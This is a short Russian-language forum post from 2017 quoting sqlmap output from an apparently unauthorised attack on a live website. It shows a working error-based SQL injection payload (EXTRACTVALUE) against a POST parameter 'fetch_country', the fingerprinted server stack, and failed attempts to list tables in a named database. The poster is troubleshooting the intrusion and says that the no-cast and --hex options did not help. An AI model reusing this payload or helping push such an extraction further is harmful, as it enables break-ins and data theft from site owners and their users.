
20.01.2017, 20:54
|
|
Флудер
Регистрация: 19.06.2015
Сообщений: 4,126
Провел на форуме: 759330
Репутация:
147
|
|
Сообщение от brown
↑
Код:
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: fetch_country=Angola' AND EXTRACTVALUE(5143,CONCAT(0x5c,0x71716a7871,(SELECT (ELT(5143=5143,1))),0x71766a7871))-- MuFD
---
[19:45:19] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.3
back-end DBMS: MySQL >= 5.1
[19:45:19] [INFO] fetching tables for database: 'db1084280_bizcsp'
[19:45:22] [WARNING] the SQL query provided does not return any output
[19:45:22] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q]
Пробывал и no-cast и --hex не помгает
Y
|
|
|